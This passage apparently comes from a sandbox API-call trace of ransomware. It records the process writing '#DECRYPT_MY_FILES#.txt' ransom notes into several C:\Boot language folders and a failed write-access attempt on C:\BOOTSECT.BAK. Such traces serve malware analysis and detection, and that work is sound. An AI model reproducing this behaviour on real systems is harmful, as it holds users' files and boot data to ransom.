lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.678] GetFileType (hFile=0x108) returned 0x1 [0031.678] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.678] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.678] GetLastError () returned 0x0 [0031.679] FindFirstFileA (in: lpFileName="C:\\\\Boot\\tr-TR\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.679] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.679] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dd2980, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.679] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.679] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.680] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.680] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.680] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.680] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.680] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.680] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.680] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.680] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.680] AreFileApisANSI () returned 1 [0031.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.680] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\zh-CN\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.680] CreateFileW (lpFileName="C:\\\\Boot\\zh-CN\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\zh-cn\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.681] GetFileType (hFile=0x108) returned 0x1 [0031.681] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.681] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.681] GetLastError () returned 0x0 [0031.683] FindFirstFileA (in: lpFileName="C:\\\\Boot\\zh-CN\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.683] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.683] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dd2980, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.683] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.683] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.683] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.683] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.683] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.683] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.684] AreFileApisANSI () returned 1 [0031.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.684] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\zh-HK\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.684] CreateFileW (lpFileName="C:\\\\Boot\\zh-HK\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\zh-hk\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.685] GetFileType (hFile=0x108) returned 0x1 [0031.685] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.685] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.685] GetLastError () returned 0x0 [0031.686] FindFirstFileA (in: lpFileName="C:\\\\Boot\\zh-HK\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.686] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.686] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5df8ae0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.686] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.686] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.686] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.686] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.686] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.686] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.686] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.686] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.686] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.687] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.687] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.687] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.687] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.687] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0031.687] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.687] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.687] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.687] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.687] AreFileApisANSI () returned 1 [0031.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.687] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\zh-TW\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.687] CreateFileW (lpFileName="C:\\\\Boot\\zh-TW\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\zh-tw\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.688] GetFileType (hFile=0x108) returned 0x1 [0031.688] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.688] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.688] GetLastError () returned 0x0 [0031.689] FindFirstFileA (in: lpFileName="C:\\\\Boot\\zh-TW\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.689] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.689] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5df8ae0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5df8ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5df8ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.689] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.689] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.689] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.689] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.689] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.689] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.689] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.689] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.689] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.689] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.689] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.689] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.689] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.689] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0031.690] FindClose (in: hFindFile=0x81af40 | out: hFindFile=0x81af40) returned 1 [0031.690] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x300, dwReserved1=0x42e978, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0031.690] FindNextFileA (in: hFindFile=0x81aa30, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x300, dwReserved1=0x42e978, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0031.690] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.690] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.690] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.690] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.690] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.690] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.690] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.690] AreFileApisANSI () returned 1 [0031.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42f0d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0031.690] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x22) returned 0x816248 [0031.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42f0d0, cbMultiByte=-1, lpWideCharStr=0x816248, cchWideChar=17 | out: lpWideCharStr="C:\\\\BOOTSECT.BAK") returned 17 [0031.690] CreateFileW (lpFileName="C:\\\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42e890, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0031.691] GetLastError () returned 0x5 